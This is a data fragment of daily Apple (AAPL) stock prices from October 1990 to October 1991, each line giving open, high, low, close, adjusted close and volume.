-1990-10-23,1.1071428060531616,1.125,1.0803571939468384,1.1071428060531616,0.9081270098686218,41762000.0,AAPL
-1990-10-24,1.0982142686843872,1.1071428060531616,1.0714285373687744,1.0892857313156128,0.8934794664382935,35456400.0,AAPL
-1990-10-25,1.0803571939468384,1.1160714626312256,1.0580357313156128,1.0714285373687744,0.8788325190544128,38365600.0,AAPL
-1990-10-26,1.0625,1.1160714626312256,1.0625,1.0714285373687744,0.8788325190544128,33549600.0,AAPL
-1990-10-29,1.0803571939468384,1.0892857313156128,1.0625,1.0669642686843872,0.8751705288887024,30870000.0,AAPL
-1990-10-30,1.0625,1.0982142686843872,1.03125,1.0848214626312256,0.8898175358772278,24511200.0,AAPL
-1990-10-31,1.0892857313156128,1.1383928060531616,1.0803571939468384,1.0982142686843872,0.90080326795578,37189600.0,AAPL
-1990-11-01,1.0892857313156128,1.1071428060531616,1.0625,1.0892857313156128,0.8934794664382935,22663200.0,AAPL
-1990-11-02,1.0892857313156128,1.15625,1.0892857313156128,1.1339285373687744,0.9300976395606995,37153200.0,AAPL
-1990-11-05,1.1517857313156128,1.1964285373687744,1.1428571939468384,1.1875,0.9740389585494995,46118800.0,AAPL
-1990-11-06,1.1964285373687744,1.2321428060531616,1.1875,1.1964285373687744,0.981362521648407,46191600.0,AAPL
-1990-11-07,1.1964285373687744,1.2053571939468384,1.1651785373687744,1.1875,0.9740389585494995,50744400.0,AAPL
-1990-11-08,1.1785714626312256,1.25,1.1785714626312256,1.2321428060531616,1.0106570720672607,49812000.0,AAPL
-1990-11-09,1.25,1.2767857313156128,1.2321428060531616,1.2678571939468384,1.0399515628814697,49557200.0,AAPL
-1990-11-12,1.2678571939468384,1.3125,1.2589285373687744,1.2946428060531616,1.0619226694107056,36262800.0,AAPL
-1990-11-13,1.2946428060531616,1.3035714626312256,1.2767857313156128,1.2857142686843872,1.0545989274978638,35487200.0,AAPL
-1990-11-14,1.2767857313156128,1.3303571939468384,1.2767857313156128,1.3214285373687744,1.0838934183120728,47686800.0,AAPL
-1990-11-15,1.3125,1.3214285373687744,1.2678571939468384,1.2857142686843872,1.0545989274978638,40443200.0,AAPL
-1990-11-16,1.2767857313156128,1.2857142686843872,1.2410714626312256,1.2544642686843872,1.032410979270935,45752000.0,AAPL
-1990-11-19,1.2678571939468384,1.2991071939468384,1.2589285373687744,1.2991071939468384,1.069151759147644,55977600.0,AAPL
-1990-11-20,1.3035714626312256,1.3125,1.2589285373687744,1.2678571939468384,1.043433427810669,38407600.0,AAPL
-1990-11-21,1.2589285373687744,1.2946428060531616,1.2410714626312256,1.2901785373687744,1.0618036985397339,30802800.0,AAPL
-1990-11-23,1.2946428060531616,1.3214285373687744,1.2857142686843872,1.2991071939468384,1.069151759147644,13300000.0,AAPL
-1990-11-26,1.2857142686843872,1.3214285373687744,1.2857142686843872,1.3125,1.0801737308502197,20364400.0,AAPL
-1990-11-27,1.3214285373687744,1.3660714626312256,1.3125,1.3392857313156128,1.102218508720398,41146000.0,AAPL
-1990-11-28,1.3482142686843872,1.375,1.3125,1.3125,1.0801737308502197,43727600.0,AAPL
-1990-11-29,1.3214285373687744,1.3214285373687744,1.2946428060531616,1.3125,1.0801737308502197,31676400.0,AAPL
-1990-11-30,1.2946428060531616,1.3303571939468384,1.2946428060531616,1.3125,1.0801737308502197,30377200.0,AAPL
-1990-12-03,1.3303571939468384,1.3660714626312256,1.3214285373687744,1.3616071939468384,1.1205886602401733,41350400.0,AAPL
-1990-12-04,1.3392857313156128,1.3839285373687744,1.3392857313156128,1.375,1.1316108703613281,38038000.0,AAPL
-1990-12-05,1.375,1.4375,1.3526785373687744,1.4330357313156128,1.179373860359192,54597200.0,AAPL
-1990-12-06,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4732142686843872,1.2124402523040771,133061600.0,AAPL
-1990-12-07,1.4642857313156128,1.5267857313156128,1.4642857313156128,1.5178571939468384,1.2491806745529175,82415200.0,AAPL
-1990-12-10,1.5089285373687744,1.5178571939468384,1.4821428060531616,1.4910714626312256,1.2271366119384766,62647200.0,AAPL
-1990-12-11,1.4732142686843872,1.4821428060531616,1.4285714626312256,1.4285714626312256,1.1756994724273682,86970800.0,AAPL
-1990-12-12,1.4196428060531616,1.4285714626312256,1.3928571939468384,1.4151785373687744,1.1646772623062134,60589200.0,AAPL
-1990-12-13,1.4107142686843872,1.4642857313156128,1.4107142686843872,1.4553571939468384,1.1977438926696777,40182800.0,AAPL
-1990-12-14,1.4375,1.4464285373687744,1.4107142686843872,1.4241071939468384,1.1720249652862549,21767200.0,AAPL
-1990-12-17,1.3928571939468384,1.4464285373687744,1.3928571939468384,1.4330357313156128,1.179373860359192,32776800.0,AAPL
-1990-12-18,1.4642857313156128,1.5178571939468384,1.4553571939468384,1.5089285373687744,1.2418327331542969,55246800.0,AAPL
-1990-12-19,1.5178571939468384,1.5178571939468384,1.46875,1.4955357313156128,1.2308104038238525,35165200.0,AAPL
-1990-12-20,1.4732142686843872,1.5892857313156128,1.4732142686843872,1.5714285373687744,1.293269395828247,100268000.0,AAPL
-1990-12-21,1.5803571939468384,1.6160714626312256,1.5535714626312256,1.6071428060531616,1.3226618766784668,86534000.0,AAPL
-1990-12-24,1.5982142686843872,1.6071428060531616,1.5714285373687744,1.5714285373687744,1.293269395828247,14680400.0,AAPL
-1990-12-26,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5625,1.285921573638916,25768400.0,AAPL
-1990-12-27,1.5446428060531616,1.5714285373687744,1.5446428060531616,1.5535714626312256,1.278572916984558,24413200.0,AAPL
-1990-12-28,1.5446428060531616,1.5535714626312256,1.5267857313156128,1.5357142686843872,1.2638771533966064,15982400.0,AAPL
-1990-12-31,1.5357142686843872,1.5446428060531616,1.5267857313156128,1.5357142686843872,1.2638771533966064,11068400.0,AAPL
-1991-01-02,1.5267857313156128,1.5714285373687744,1.5,1.5535714626312256,1.278572916984558,38746400.0,AAPL
-1991-01-03,1.5535714626312256,1.5803571939468384,1.5357142686843872,1.5357142686843872,1.2638771533966064,37545200.0,AAPL
-1991-01-04,1.5357142686843872,1.5803571939468384,1.5357142686843872,1.5446428060531616,1.2712249755859375,35380800.0,AAPL
-1991-01-07,1.5357142686843872,1.6160714626312256,1.5357142686843872,1.5446428060531616,1.2712249755859375,77700000.0,AAPL
-1991-01-08,1.5625,1.5669642686843872,1.5178571939468384,1.5446428060531616,1.2712249755859375,54672800.0,AAPL
-1991-01-09,1.5803571939468384,1.6428571939468384,1.5625,1.6160714626312256,1.330010175704956,116816000.0,AAPL
-1991-01-10,1.6339285373687744,1.6875,1.6339285373687744,1.6830357313156128,1.3851213455200195,108830400.0,AAPL
-1991-01-11,1.6785714626312256,1.6875,1.6428571939468384,1.6785714626312256,1.3814467191696167,76913200.0,AAPL
-1991-01-14,1.6428571939468384,1.6696428060531616,1.6428571939468384,1.6517857313156128,1.3594027757644653,52710000.0,AAPL
-1991-01-15,1.6607142686843872,1.6696428060531616,1.6428571939468384,1.6696428060531616,1.374098777770996,48014400.0,AAPL
-1991-01-16,1.6785714626312256,1.7857142686843872,1.6696428060531616,1.7767857313156128,1.4622758626937866,97658400.0,AAPL
-1991-01-17,1.875,1.8839285373687744,1.75,1.8303571939468384,1.506365180015564,147918400.0,AAPL
-1991-01-18,1.7410714626312256,1.8125,1.7321428060531616,1.7946428060531616,1.4769726991653442,235810400.0,AAPL
-1991-01-21,1.7767857313156128,1.8392857313156128,1.7767857313156128,1.8125,1.491668462753296,81076800.0,AAPL
-1991-01-22,1.8214285373687744,1.875,1.8035714626312256,1.8303571939468384,1.506365180015564,106932000.0,AAPL
-1991-01-23,1.8303571939468384,1.8660714626312256,1.8214285373687744,1.8482142686843872,1.5210610628128052,61065200.0,AAPL
-1991-01-24,1.8392857313156128,1.8839285373687744,1.8392857313156128,1.8616071939468384,1.5320838689804077,58483600.0,AAPL
-1991-01-25,1.8571428060531616,1.9151785373687744,1.8571428060531616,1.9107142686843872,1.5724977254867554,55952400.0,AAPL
-1991-01-28,1.9017857313156128,1.9732142686843872,1.9017857313156128,1.9464285373687744,1.6018905639648438,68370400.0,AAPL
-1991-01-29,1.9375,1.9464285373687744,1.8660714626312256,1.9196428060531616,1.5798463821411133,53888800.0,AAPL
-1991-01-30,1.9017857313156128,1.9910714626312256,1.9017857313156128,1.9821428060531616,1.631282925605774,84193200.0,AAPL
-1991-01-31,1.9821428060531616,2.0,1.9553571939468384,1.9821428060531616,1.631282925605774,60648000.0,AAPL
-1991-02-01,1.9821428060531616,2.0669643878936768,1.9821428060531616,1.9910714626312256,1.6386308670043945,111137600.0,AAPL
-1991-02-04,1.9910714626312256,2.0,1.9642857313156128,1.9732142686843872,1.6239349842071533,66962000.0,AAPL
-1991-02-05,1.9732142686843872,2.0714285373687744,1.9553571939468384,2.0625,1.6974163055419922,89028800.0,AAPL
-1991-02-06,2.0625,2.080357074737549,2.017857074737549,2.03125,1.671697735786438,55641600.0,AAPL
-1991-02-07,2.0357143878936768,2.0982143878936768,1.9910714626312256,2.0625,1.6974163055419922,130043200.0,AAPL
-1991-02-08,2.0535714626312256,2.1517856121063232,2.0535714626312256,2.138392925262451,1.7598754167556763,78388800.0,AAPL
-1991-02-11,2.142857074737549,2.1964285373687744,2.1339285373687744,2.1919643878936768,1.8039641380310059,80757600.0,AAPL
-1991-02-12,2.1785714626312256,2.1875,2.1205356121063232,2.142857074737549,1.7635493278503418,56187600.0,AAPL
-1991-02-13,2.142857074737549,2.1517856121063232,2.0714285373687744,2.142857074737549,1.7635493278503418,63887600.0,AAPL
-1991-02-14,2.142857074737549,2.142857074737549,2.0267856121063232,2.0401785373687744,1.6790457963943481,94418800.0,AAPL
-1991-02-15,2.044642925262451,2.0892856121063232,2.044642925262451,2.0580356121063232,1.6973116397857666,91403200.0,AAPL
-1991-02-19,2.0535714626312256,2.1517856121063232,2.049107074737549,2.142857074737549,1.767265796661377,56562800.0,AAPL
-1991-02-20,2.125,2.205357074737549,2.1160714626312256,2.1785714626312256,1.7967193126678467,53410000.0,AAPL
-1991-02-21,2.1875,2.2232143878936768,2.0982143878936768,2.107142925262451,1.7378109693527222,47717600.0,AAPL
-1991-02-22,2.107142925262451,2.205357074737549,2.0892856121063232,2.1339285373687744,1.7599016427993774,58142000.0,AAPL
-1991-02-25,2.1517856121063232,2.1607143878936768,2.0535714626312256,2.0714285373687744,1.7083563804626465,89818400.0,AAPL
-1991-02-26,2.0535714626312256,2.0982143878936768,2.017857074737549,2.080357074737549,1.7157199382781982,62504400.0,AAPL
-1991-02-27,2.080357074737549,2.0892856121063232,2.0535714626312256,2.080357074737549,1.7157199382781982,43593200.0,AAPL
-1991-02-28,2.080357074737549,2.0892856121063232,2.0089285373687744,2.044642925262451,1.6862655878067017,56840000.0,AAPL
-1991-03-01,2.0357143878936768,2.107142925262451,2.0357143878936768,2.0625,1.7009930610656738,31533600.0,AAPL
-1991-03-04,2.0714285373687744,2.0982143878936768,2.0357143878936768,2.0848214626312256,1.7194020748138428,22089200.0,AAPL
-1991-03-05,2.107142925262451,2.2589285373687744,2.107142925262451,2.2544643878936768,1.8593106269836426,110362000.0,AAPL
-1991-03-06,2.2857143878936768,2.34375,2.2455356121063232,2.25,1.8556287288665771,130989600.0,AAPL
-1991-03-07,2.267857074737549,2.4107143878936768,2.2589285373687744,2.4017856121063232,1.9808106422424316,80438400.0,AAPL
-1991-03-08,2.419642925262451,2.4375,2.3214285373687744,2.3214285373687744,1.9145375490188599,80550400.0,AAPL
-1991-03-11,2.3035714626312256,2.3125,2.2232143878936768,2.267857074737549,1.8703553676605225,43842400.0,AAPL
-1991-03-12,2.25,2.2767856121063232,2.232142925262451,2.2455356121063232,1.8519463539123535,58419200.0,AAPL
-1991-03-13,2.2410714626312256,2.375,2.2410714626312256,2.3660714626312256,1.9513558149337769,43638000.0,AAPL
-1991-03-14,2.3839285373687744,2.4107143878936768,2.3035714626312256,2.330357074737549,1.921900749206543,56767200.0,AAPL
-1991-03-15,2.3482143878936768,2.375,2.330357074737549,2.3660714626312256,1.9513558149337769,51209200.0,AAPL
-1991-03-18,2.3482143878936768,2.4375,2.3482143878936768,2.419642925262451,1.995537281036377,53502400.0,AAPL
-1991-03-19,2.375,2.5089285373687744,2.3482143878936768,2.482142925262451,2.047081470489502,105548800.0,AAPL
-1991-03-20,2.4732143878936768,2.482142925262451,2.388392925262451,2.419642925262451,1.995537281036377,90426000.0,AAPL
-1991-03-21,2.4375,2.455357074737549,2.2767856121063232,2.3125,1.9071743488311768,74200000.0,AAPL
-1991-03-22,2.2857143878936768,2.3125,2.2232143878936768,2.2589285373687744,1.862992525100708,84532000.0,AAPL
-1991-03-25,2.267857074737549,2.3214285373687744,2.2589285373687744,2.3035714626312256,1.8998101949691772,33964000.0,AAPL
-1991-03-26,2.3125,2.5089285373687744,2.3125,2.5,2.06181001663208,83406400.0,AAPL
-1991-03-27,2.5,2.5089285373687744,2.4464285373687744,2.4732143878936768,2.0397188663482666,47555200.0,AAPL
-1991-03-28,2.4732143878936768,2.5,2.419642925262451,2.4285714626312256,2.002901077270508,19675600.0,AAPL
-1991-04-01,2.4285714626312256,2.482142925262451,2.4107143878936768,2.4464285373687744,2.017627239227295,29481200.0,AAPL
-1991-04-02,2.4642856121063232,2.5982143878936768,2.4464285373687744,2.5982143878936768,2.1428091526031494,73231200.0,AAPL
-1991-04-03,2.5892856121063232,2.5982143878936768,2.5,2.5,2.06181001663208,60032000.0,AAPL
-1991-04-04,2.5,2.5714285373687744,2.482142925262451,2.5535714626312256,2.105991840362549,42109200.0,AAPL
-1991-04-05,2.5625,2.5625,2.455357074737549,2.4776785373687744,2.0433995723724365,38852800.0,AAPL
-1991-04-08,2.4732143878936768,2.5,2.455357074737549,2.5,2.06181001663208,18118800.0,AAPL
-1991-04-09,2.4910714626312256,2.5,2.4375,2.455357074737549,2.024991273880005,29862000.0,AAPL
-1991-04-10,2.4464285373687744,2.4732143878936768,2.3839285373687744,2.388392925262451,1.9697641134262085,54101600.0,AAPL
-1991-04-11,2.419642925262451,2.549107074737549,2.4107143878936768,2.5357143878936768,2.091264247894287,88897200.0,AAPL
-1991-04-12,2.5535714626312256,2.6160714626312256,2.4910714626312256,2.5625,2.113354444503784,91929600.0,AAPL
-1991-04-15,2.205357074737549,2.3035714626312256,2.142857074737549,2.2232143878936768,1.8335378170013428,425096000.0,AAPL
-1991-04-16,2.2589285373687744,2.3035714626312256,2.232142925262451,2.294642925262451,1.8924458026885986,155195600.0,AAPL
-1991-04-17,2.3214285373687744,2.3214285373687744,2.2142856121063232,2.2589285373687744,1.862992525100708,80600800.0,AAPL
-1991-04-18,2.2410714626312256,2.25,2.169642925262451,2.1785714626312256,1.7967193126678467,61840800.0,AAPL
-1991-04-19,2.1785714626312256,2.1964285373687744,2.125,2.1294643878936768,1.7562193870544434,71825600.0,AAPL
-1991-04-22,2.125,2.2142856121063232,2.0982143878936768,2.1964285373687744,1.8114467859268188,64254400.0,AAPL
-1991-04-23,2.2232143878936768,2.25,2.1517856121063232,2.1964285373687744,1.8114467859268188,59323600.0,AAPL
-1991-04-24,2.205357074737549,2.2142856121063232,2.1607143878936768,2.169642925262451,1.789355754852295,26362000.0,AAPL
-1991-04-25,2.1339285373687744,2.1339285373687744,2.0892856121063232,2.0892856121063232,1.7230833768844604,78845200.0,AAPL
-1991-04-26,2.0892856121063232,2.107142925262451,2.0625,2.09375,1.7267652750015259,31264800.0,AAPL
-1991-04-29,2.0892856121063232,2.1517856121063232,2.080357074737549,2.080357074737549,1.7157199382781982,51676800.0,AAPL
-1991-04-30,2.0625,2.080357074737549,1.9464285373687744,1.9642857313156128,1.6199930906295776,177861600.0,AAPL
-1991-05-01,1.7142857313156128,1.75,1.6785714626312256,1.6875,1.391721487045288,467093200.0,AAPL
-1991-05-02,1.7053571939468384,1.7767857313156128,1.6964285373687744,1.75,1.4432666301727295,202781600.0,AAPL
-1991-05-03,1.75,1.7678571939468384,1.7232142686843872,1.75,1.4432666301727295,60928000.0,AAPL
-1991-05-06,1.7321428060531616,1.8035714626312256,1.7232142686843872,1.7946428060531616,1.480084776878357,53082400.0,AAPL
-1991-05-07,1.8214285373687744,1.8303571939468384,1.8035714626312256,1.8080357313156128,1.4911296367645264,67620000.0,AAPL
-1991-05-08,1.8125,1.8125,1.7589285373687744,1.7767857313156128,1.4653573036193848,44195200.0,AAPL
-1991-05-09,1.7857142686843872,1.8392857313156128,1.7767857313156128,1.8125,1.49481201171875,59553200.0,AAPL
-1991-05-10,1.8392857313156128,1.9017857313156128,1.8125,1.8303571939468384,1.5095393657684326,60432400.0,AAPL
-1991-05-13,1.8660714626312256,1.9107142686843872,1.8392857313156128,1.8839285373687744,1.5537211894989014,61236000.0,AAPL
-1991-05-14,1.8839285373687744,1.9196428060531616,1.875,1.9107142686843872,1.5758109092712402,54236000.0,AAPL
-1991-05-15,1.8392857313156128,1.8571428060531616,1.75,1.8035714626312256,1.48744797706604,129586800.0,AAPL
-1991-05-16,1.8214285373687744,1.8303571939468384,1.7321428060531616,1.75,1.4432666301727295,95533200.0,AAPL
-1991-05-17,1.7410714626312256,1.7410714626312256,1.6607142686843872,1.6785714626312256,1.3843580484390259,117765200.0,AAPL
-1991-05-20,1.6875,1.6964285373687744,1.5714285373687744,1.5803571939468384,1.3066973686218262,65542400.0,AAPL
-1991-05-21,1.6160714626312256,1.6607142686843872,1.5982142686843872,1.6160714626312256,1.3362274169921875,87449600.0,AAPL
-1991-05-22,1.6339285373687744,1.6607142686843872,1.625,1.6517857313156128,1.3657575845718384,56817600.0,AAPL
-1991-05-23,1.6607142686843872,1.6696428060531616,1.5982142686843872,1.6116071939468384,1.3325363397598267,52164000.0,AAPL
-1991-05-24,1.625,1.6428571939468384,1.6071428060531616,1.6383928060531616,1.3546836376190186,24281600.0,AAPL
-1991-05-28,1.6428571939468384,1.6517857313156128,1.6160714626312256,1.6428571939468384,1.3583751916885376,42859600.0,AAPL
-1991-05-29,1.6517857313156128,1.7053571939468384,1.6383928060531616,1.6785714626312256,1.3879050016403198,96000800.0,AAPL
-1991-05-30,1.6785714626312256,1.7053571939468384,1.6607142686843872,1.7008928060531616,1.4063609838485718,39586400.0,AAPL
-1991-05-31,1.6964285373687744,1.7053571939468384,1.6517857313156128,1.6785714626312256,1.3879050016403198,54465600.0,AAPL
-1991-06-03,1.6785714626312256,1.7678571939468384,1.6696428060531616,1.7589285373687744,1.454347014427185,55017200.0,AAPL
-1991-06-04,1.7678571939468384,1.7678571939468384,1.7321428060531616,1.7544642686843872,1.4506558179855347,46071200.0,AAPL
-1991-06-05,1.7589285373687744,1.7589285373687744,1.7053571939468384,1.7142857313156128,1.417434573173523,33322800.0,AAPL
-1991-06-06,1.7232142686843872,1.7232142686843872,1.6607142686843872,1.6651785373687744,1.376831293106079,42126000.0,AAPL
-1991-06-07,1.6517857313156128,1.6785714626312256,1.6294642686843872,1.6473214626312256,1.3620660305023193,38186400.0,AAPL
-1991-06-10,1.6428571939468384,1.6830357313156128,1.6339285373687744,1.6428571939468384,1.3583751916885376,41860000.0,AAPL
-1991-06-11,1.6071428060531616,1.625,1.5803571939468384,1.59375,1.3177709579467773,47140800.0,AAPL
-1991-06-12,1.5714285373687744,1.5982142686843872,1.4732142686843872,1.5133928060531616,1.2513291835784912,108908800.0,AAPL
-1991-06-13,1.5178571939468384,1.5357142686843872,1.4910714626312256,1.5044642686843872,1.2439464330673218,52841600.0,AAPL
-1991-06-14,1.5267857313156128,1.5267857313156128,1.4553571939468384,1.46875,1.2144163846969604,56322000.0,AAPL
-1991-06-17,1.4642857313156128,1.5089285373687744,1.4642857313156128,1.5,1.24025559425354,41650000.0,AAPL
-1991-06-18,1.5089285373687744,1.5446428060531616,1.4821428060531616,1.5044642686843872,1.2439464330673218,61171600.0,AAPL
-1991-06-19,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.2328732013702393,44735600.0,AAPL
-1991-06-20,1.4732142686843872,1.5,1.4553571939468384,1.5,1.24025559425354,36010800.0,AAPL
-1991-06-21,1.5,1.5178571939468384,1.4910714626312256,1.5,1.24025559425354,51503200.0,AAPL
-1991-06-24,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.2328732013702393,51996000.0,AAPL
-1991-06-25,1.5,1.5357142686843872,1.4910714626312256,1.5133928060531616,1.2513291835784912,56980000.0,AAPL
-1991-06-26,1.5267857313156128,1.5535714626312256,1.5089285373687744,1.5357142686843872,1.269785761833191,62610800.0,AAPL
-1991-06-27,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.5178571939468384,1.2550204992294312,37800000.0,AAPL
-1991-06-28,1.5089285373687744,1.5178571939468384,1.4375,1.4821428060531616,1.2254900932312012,56660800.0,AAPL
-1991-07-01,1.5089285373687744,1.5357142686843872,1.4910714626312256,1.5178571939468384,1.2550204992294312,48706000.0,AAPL
-1991-07-02,1.5089285373687744,1.5267857313156128,1.4910714626312256,1.5089285373687744,1.2476379871368408,30035600.0,AAPL
-1991-07-03,1.5089285373687744,1.5535714626312256,1.4910714626312256,1.5401785373687744,1.273476481437683,77593600.0,AAPL
-1991-07-05,1.5357142686843872,1.6428571939468384,1.5267857313156128,1.6294642686843872,1.3473010063171387,82888400.0,AAPL
-1991-07-08,1.6160714626312256,1.6875,1.6071428060531616,1.6696428060531616,1.3805222511291504,76770400.0,AAPL
-1991-07-09,1.6875,1.7232142686843872,1.6607142686843872,1.6741071939468384,1.3842140436172485,56610400.0,AAPL
-1991-07-10,1.6964285373687744,1.7232142686843872,1.6696428060531616,1.6875,1.3952873945236206,39144000.0,AAPL
-1991-07-11,1.6785714626312256,1.6875,1.6428571939468384,1.6696428060531616,1.3805222511291504,36478400.0,AAPL
-1991-07-12,1.6875,1.6875,1.6517857313156128,1.6696428060531616,1.3805222511291504,33188400.0,AAPL
-1991-07-15,1.6696428060531616,1.6696428060531616,1.625,1.625,1.3436100482940674,34496000.0,AAPL
-1991-07-16,1.625,1.6339285373687744,1.5535714626312256,1.5625,1.2919328212738037,55748000.0,AAPL
-1991-07-17,1.5535714626312256,1.5892857313156128,1.5089285373687744,1.5178571939468384,1.2550204992294312,52234000.0,AAPL
-1991-07-18,1.5714285373687744,1.6116071939468384,1.5357142686843872,1.6026785373687744,1.3251538276672363,99579200.0,AAPL
-1991-07-19,1.6160714626312256,1.6517857313156128,1.6071428060531616,1.6428571939468384,1.3583751916885376,32104800.0,AAPL
-1991-07-22,1.6339285373687744,1.6517857313156128,1.625,1.6428571939468384,1.3583751916885376,27168400.0,AAPL
-1991-07-23,1.6517857313156128,1.6607142686843872,1.5892857313156128,1.6071428060531616,1.3288451433181763,33264000.0,AAPL
-1991-07-24,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6071428060531616,1.3288451433181763,32863600.0,AAPL
-1991-07-25,1.6160714626312256,1.6339285373687744,1.6071428060531616,1.6160714626312256,1.3362274169921875,16450000.0,AAPL
-1991-07-26,1.6339285373687744,1.6339285373687744,1.5982142686843872,1.6026785373687744,1.3251538276672363,18558400.0,AAPL
-1991-07-29,1.6160714626312256,1.625,1.5892857313156128,1.625,1.3436100482940674,13325200.0,AAPL
-1991-07-30,1.625,1.6696428060531616,1.625,1.6607142686843872,1.3731399774551392,22965600.0,AAPL
-1991-07-31,1.6607142686843872,1.6741071939468384,1.6071428060531616,1.6517857313156128,1.3657575845718384,25701200.0,AAPL
-1991-08-01,1.6428571939468384,1.7589285373687744,1.6339285373687744,1.7544642686843872,1.4506558179855347,112106400.0,AAPL
-1991-08-02,1.7767857313156128,1.7946428060531616,1.75,1.7857142686843872,1.476494550704956,68252800.0,AAPL
-1991-08-05,1.7767857313156128,1.7767857313156128,1.7232142686843872,1.7321428060531616,1.4321995973587036,25191600.0,AAPL
-1991-08-06,1.7410714626312256,1.7946428060531616,1.7053571939468384,1.7678571939468384,1.4617295265197754,55106800.0,AAPL
-1991-08-07,1.7678571939468384,1.8214285373687744,1.7633928060531616,1.7991071939468384,1.4875680208206177,52903200.0,AAPL
-1991-08-08,1.8125,1.8482142686843872,1.7857142686843872,1.8035714626312256,1.4912594556808472,47362000.0,AAPL
-1991-08-09,1.8035714626312256,1.8214285373687744,1.7767857313156128,1.8125,1.4986423254013062,38600800.0,AAPL
-1991-08-12,1.8125,1.8660714626312256,1.8035714626312256,1.8482142686843872,1.5281718969345093,35632800.0,AAPL
-1991-08-13,1.8571428060531616,1.9285714626312256,1.8571428060531616,1.9107142686843872,1.5798490047454834,71646400.0,AAPL
-1991-08-14,1.9553571939468384,1.9642857313156128,1.9241071939468384,1.9598214626312256,1.6204525232315063,50178800.0,AAPL
-1991-08-15,1.9642857313156128,1.9642857313156128,1.8928571939468384,1.9017857313156128,1.5724669694900513,36386000.0,AAPL
-1991-08-16,1.8839285373687744,1.9375,1.8660714626312256,1.9017857313156128,1.5724669694900513,39701200.0,AAPL
-1991-08-19,1.7678571939468384,1.84375,1.7321428060531616,1.8035714626312256,1.4946309328079224,80620400.0,AAPL
-1991-08-20,1.8392857313156128,1.8482142686843872,1.8035714626312256,1.8214285373687744,1.5094293355941772,49856800.0,AAPL
-1991-08-21,1.875,1.9330357313156128,1.8571428060531616,1.9196428060531616,1.5908201932907104,55843200.0,AAPL
-1991-08-22,1.9285714626312256,1.9553571939468384,1.9196428060531616,1.9375,1.6056188344955444,41412000.0,AAPL
-1991-08-23,1.9285714626312256,1.9821428060531616,1.8839285373687744,1.8928571939468384,1.5686228275299072,60104800.0,AAPL
-1991-08-26,1.8928571939468384,1.9107142686843872,1.875,1.8928571939468384,1.5686228275299072,25398800.0,AAPL
-1991-08-27,1.8928571939468384,1.9285714626312256,1.8839285373687744,1.9285714626312256,1.598219394683838,25088000.0,AAPL
-1991-08-28,1.9285714626312256,1.9375,1.8973214626312256,1.9017857313156128,1.5760220289230347,26896800.0,AAPL
-1991-08-29,1.9017857313156128,1.9241071939468384,1.875,1.8928571939468384,1.5686228275299072,28338800.0,AAPL
-1991-08-30,1.8928571939468384,1.9017857313156128,1.8660714626312256,1.8928571939468384,1.5686228275299072,16534000.0,AAPL
-1991-09-03,1.8839285373687744,1.9017857313156128,1.8571428060531616,1.875,1.5538241863250732,17094000.0,AAPL
-1991-09-04,1.8839285373687744,1.8839285373687744,1.8348214626312256,1.8392857313156128,1.524227499961853,29946000.0,AAPL
-1991-09-05,1.8392857313156128,1.8482142686843872,1.8125,1.8214285373687744,1.5094293355941772,19471200.0,AAPL
-1991-09-06,1.8214285373687744,1.8482142686843872,1.8035714626312256,1.8392857313156128,1.524227499961853,19818400.0,AAPL
-1991-09-09,1.8482142686843872,1.9107142686843872,1.8392857313156128,1.9017857313156128,1.5760220289230347,31620400.0,AAPL
-1991-09-10,1.8839285373687744,1.90625,1.7767857313156128,1.7901785373687744,1.4835320711135864,45710000.0,AAPL
-1991-09-11,1.8125,1.8214285373687744,1.7678571939468384,1.8035714626312256,1.4946309328079224,44500400.0,AAPL
-1991-09-12,1.8303571939468384,1.8303571939468384,1.7767857313156128,1.8080357313156128,1.4983303546905518,29803200.0,AAPL
-1991-09-13,1.7857142686843872,1.7946428060531616,1.7321428060531616,1.7366071939468384,1.4391374588012695,41683600.0,AAPL
-1991-09-16,1.7589285373687744,1.7589285373687744,1.6607142686843872,1.6875,1.398442029953003,51444400.0,AAPL
-1991-09-17,1.6785714626312256,1.75,1.6696428060531616,1.75,1.450236201286316,33852000.0,AAPL
-1991-09-18,1.7410714626312256,1.8035714626312256,1.7321428060531616,1.7901785373687744,1.4835320711135864,30338000.0,AAPL
-1991-09-19,1.7946428060531616,1.8035714626312256,1.7678571939468384,1.7767857313156128,1.4724335670471191,44584400.0,AAPL
-1991-09-20,1.7767857313156128,1.8214285373687744,1.7678571939468384,1.8080357313156128,1.4983303546905518,47037200.0,AAPL
-1991-09-23,1.7857142686843872,1.8125,1.7589285373687744,1.7678571939468384,1.4650342464447021,21915600.0,AAPL
-1991-09-24,1.7678571939468384,1.7991071939468384,1.7232142686843872,1.7946428060531616,1.4872320890426636,26524400.0,AAPL
-1991-09-25,1.7946428060531616,1.8035714626312256,1.7589285373687744,1.8035714626312256,1.4946309328079224,13616400.0,AAPL
-1991-09-26,1.7946428060531616,1.7946428060531616,1.75,1.7857142686843872,1.4798331260681152,17805200.0,AAPL
-1991-09-27,1.7857142686843872,1.8125,1.7410714626312256,1.75,1.450236201286316,15702400.0,AAPL
-1991-09-30,1.7589285373687744,1.7767857313156128,1.75,1.7678571939468384,1.4650342464447021,15800400.0,AAPL
-1991-10-01,1.7589285373687744,1.8303571939468384,1.75,1.8125,1.502030611038208,32844000.0,AAPL
-1991-10-02,1.8482142686843872,1.8482142686843872,1.7678571939468384,1.7767857313156128,1.4724335670471191,4496800.0,AAPL
-1991-10-03,1.7857142686843872,1.7857142686843872,1.6964285373687744,1.7053571939468384,1.4132399559020996,45250800.0,AAPL
-1991-10-04,1.7142857313156128,1.7410714626312256,1.6964285373687744,1.7232142686843872,1.4280389547348022,19843600.0,AAPL
-1991-10-07,1.7142857313156128,1.7410714626312256,1.6964285373687744,1.71875,1.424338936805725,16175600.0,AAPL
-1991-10-08,1.71875,1.7321428060531616,1.6607142686843872,1.7232142686843872,1.4280389547348022,43064000.0,AAPL
-1991-10-09,1.7232142686843872,1.7410714626312256,1.7053571939468384,1.7142857313156128,1.420639157295227,33185600.0,AAPL
-1991-10-10,1.7410714626312256,1.75,1.6696428060531616,1.7053571939468384,1.4132399559020996,39303600.0,AAPL
-1991-10-11,1.71875,1.7455357313156128,1.6607142686843872,1.7321428060531616,1.4354376792907715,30013200.0,AAPL
-1991-10-14,1.75,1.7946428060531616,1.7410714626312256,1.78125,1.4761334657669067,27969200.0,AAPL
